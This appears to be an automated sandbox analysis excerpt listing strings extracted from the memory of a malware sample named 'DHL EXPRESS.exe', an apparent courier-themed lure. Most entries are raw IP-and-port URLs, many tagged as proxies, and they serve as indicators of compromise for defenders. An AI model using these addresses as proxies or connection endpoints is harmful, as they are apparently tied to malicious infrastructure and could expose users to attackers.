Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.42.45.1:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.75.160.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.75.160.196:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.75.160.196:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.76.192.45:5303
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.84.248.140:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.96.208.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.96.208.124:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://115.96.208.124:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.106.105.55:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.106.105.55:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.48.208:35050
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.48.208:35050://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.98.9:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.118.98.9:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.199.168.1:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.199.168.1:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.242.89.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.242.89.230:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.242.89.230:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.5.187.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.5.187.116:7890
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.5.187.116:7890://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.50.174.181:17066
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.50.174.181:17066://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.58.227.224:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.58.227.224:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.9.163.205:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.9.163.205:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.97.240.147:4995
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.97.240.147:4995://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.99.235.225:5314
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://116.99.235.225:5314://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130:8899
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.130:8899://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134:8899
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.134:8899://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138:8899
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.138:8899://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:82
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:82://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8828
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:8828://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB323000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB342000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:9990
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB32E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.160.250.163:9990://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.20.56.203:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.202.20.69:1088
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB19F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.202.20.69:1088://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.235:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.235:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.27:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://117.70.49.27:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.117.190
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.117.190.148:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.117.190.148:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.172.239.231:8180
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.172.239.231:8180://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.230
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.230.19:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.173.230.19:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.222.104.135
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.222.104.135://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.222.104.135:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.71.66.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.71.66.50:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://118.71.66.50:32650://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA735000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.148.23.210:9990
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.148.23.210:9990://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.146.114:5020
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB431000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB41B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.149.9:5020
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.149.9:5020://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.159.34:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.18.159.34:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC5B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.193.137.104:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC614000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.193.137.104:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.237.43.106
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.237.43.106:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.28.60.64:8090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.28.60.64:8090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.29.84.133:20806
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.29.84.133:20806://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.42.71.103:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.42.71.103:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.189.194
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.189.194://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.189.194:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.189.194:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.189.194:8123://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.71.27
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.71.27://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.71.27:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.71.27:8123
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.81.71.27:8123://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.84.215.127:3256
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.84.215.127:3256://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.91.214.119:3389
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://119.91.214.119:3389://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.176.231.147
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.176.231.147://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.176.231.147:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.7.109.1:9812
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.7.109.1:9812://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.89.124.138:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://12.89.124.138:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.197.40.219:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.197.40.219:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.234.203.171:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.234.203.171:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.24.52.179:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.24.52.179:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.26.68.107://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.29.124.131:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.37.121.209:9091
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.37.121.209:9091://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.77.148.138:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.77.148.138:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.78.191.68
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.78.191.68://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.78.191.68:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.79.101.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.79.101.0:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.79.101.0:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.89.91.222:8182
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://120.89.91.222:8182://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAD9D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.128.194.154
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.128.194.154://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.128.194.154:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.129.47.25:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.129.47.25:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.130.172
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.130.172.153:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.130.172.153:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.139.218.165:31409
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.139.218.165:31409://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.159.146.251
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.159.146.251://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.159.146.251:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.206.205
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.206.205.75:4216
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.206.205.75:4216://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://121.206.205.75:4216HJ4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.114.232
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.114.232.137:808
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.114.232.137:808://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.116.150
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.116.150.2:9000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.116.150.2:9000://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.129.84.12:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.129.84.12:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.143.91.66:38801
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.143.91.66:38801://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB917000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.143.91.66:38801C
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.152.53.25:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.152.53.25:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.154.118.66:8083
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.154.118.66:8083://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.185.198
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.185.198.242:7999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.185.198.242:7999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.3.121.231:8082
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.3.121.231:8082://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.3.255.114:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.3.255.114:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.52.196.36:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://122.52.196.36:8080://proxy
